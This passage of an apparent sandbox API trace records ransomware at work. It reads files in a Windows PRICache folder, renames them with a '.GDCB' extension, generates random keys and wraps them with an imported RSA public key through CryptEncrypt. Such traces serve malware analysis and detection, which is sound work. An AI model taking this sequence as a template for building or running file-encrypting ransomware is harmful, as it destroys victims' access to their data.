Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3295484897\\2504515037.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.056] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.057] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.058] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0xb068, lpOverlapped=0x0) returned 1 [0194.086] VirtualAlloc (lpAddress=0x0, dwSize=0xb070, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.091] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3295484897\\2504515037.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3295484897\\2504515037.pri.gdcb")) returned 0 [0194.096] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0194.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.098] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.099] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.099] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.099] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0194.100] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.101] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.101] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.101] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.102] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.104] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b238) returned 1 [0194.104] CryptGetKeyParam (in: hKey=0x508b238, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.104] CryptEncrypt (in: hKey=0x508b238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.104] GetLastError () returned 0x0 [0194.104] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.104] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.106] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b778) returned 1 [0194.106] CryptGetKeyParam (in: hKey=0x508b778, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.106] CryptEncrypt (in: hKey=0x508b778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.106] GetLastError () returned 0x0 [0194.106] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.106] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3375042201\\1858609885.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.108] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.109] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.110] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x7ee0, lpOverlapped=0x0) returned 1 [0194.137] VirtualAlloc (lpAddress=0x0, dwSize=0x7ee0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.142] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3375042201\\1858609885.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3375042201\\1858609885.pri.gdcb")) returned 0 [0194.147] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0194.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.149] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.149] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.149] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0194.150] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.151] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.151] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.151] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.151] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0194.154] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b2b8) returned 1 [0194.154] CryptGetKeyParam (in: hKey=0x508b2b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.154] CryptEncrypt (in: hKey=0x508b2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.154] GetLastError () returned 0x0 [0194.154] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.154] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.156] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b138) returned 1 [0194.156] CryptGetKeyParam (in: hKey=0x508b138, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.156] CryptEncrypt (in: hKey=0x508b138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.156] GetLastError () returned 0x0 [0194.156] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.156] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3530508098\\2495906576.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.158] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.159] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.161] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x13b60, lpOverlapped=0x0) returned 1 [0194.213] VirtualAlloc (lpAddress=0x0, dwSize=0x13b60, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.219] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3530508098\\2495906576.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3530508098\\2495906576.pri.gdcb")) returned 0 [0194.224] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0194.226] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.227] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.227] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.227] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.227] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.229] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.229] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.229] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0194.231] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b2f8) returned 1 [0194.231] CryptGetKeyParam (in: hKey=0x508b2f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.231] CryptEncrypt (in: hKey=0x508b2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.231] GetLastError () returned 0x0 [0194.231] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.231] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.233] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b878) returned 1 [0194.233] CryptGetKeyParam (in: hKey=0x508b878, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.233] CryptEncrypt (in: hKey=0x508b878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.233] GetLastError () returned 0x0 [0194.233] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.233] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3705566220\\624664733.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.235] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.237] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.237] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1fc8, lpOverlapped=0x0) returned 1 [0194.270] VirtualAlloc (lpAddress=0x0, dwSize=0x1fd0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.275] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3705566220\\624664733.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3705566220\\624664733.pri.gdcb")) returned 0 [0194.280] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0194.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.282] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.282] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.282] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.282] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.284] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.284] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.284] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.286] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bf78) returned 1 [0194.286] CryptGetKeyParam (in: hKey=0x508bf78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.286] CryptEncrypt (in: hKey=0x508bf78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.286] GetLastError () returned 0x0 [0194.286] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.286] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.288] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bcf8) returned 1 [0194.288] CryptGetKeyParam (in: hKey=0x508bcf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.288] CryptEncrypt (in: hKey=0x508bcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.288] GetLastError () returned 0x0 [0194.288] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.288] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3779757838\\1034590242.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.290] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.291] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.292] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x728, lpOverlapped=0x0) returned 1 [0194.307] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.311] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3779757838\\1034590242.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3779757838\\1034590242.pri.gdcb")) returned 0 [0194.316] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.318] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.318] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.318] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.318] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0194.319] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.320] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.320] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.320] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.320] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0194.323] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bb38) returned 1 [0194.323] CryptGetKeyParam (in: hKey=0x508bb38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.323] CryptEncrypt (in: hKey=0x508bb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.323] GetLastError () returned 0x0 [0194.323] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.323] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0194.325] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bd38) returned 1 [0194.325] CryptGetKeyParam (in: hKey=0x508bd38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.325] CryptEncrypt (in: hKey=0x508bd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.325] GetLastError () returned 0x0 [0194.325] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.325] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3782802250\\2924287686.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.327] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.329] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x19f0, lpOverlapped=0x0) returned 1 [0194.344] VirtualAlloc (lpAddress=0x0, 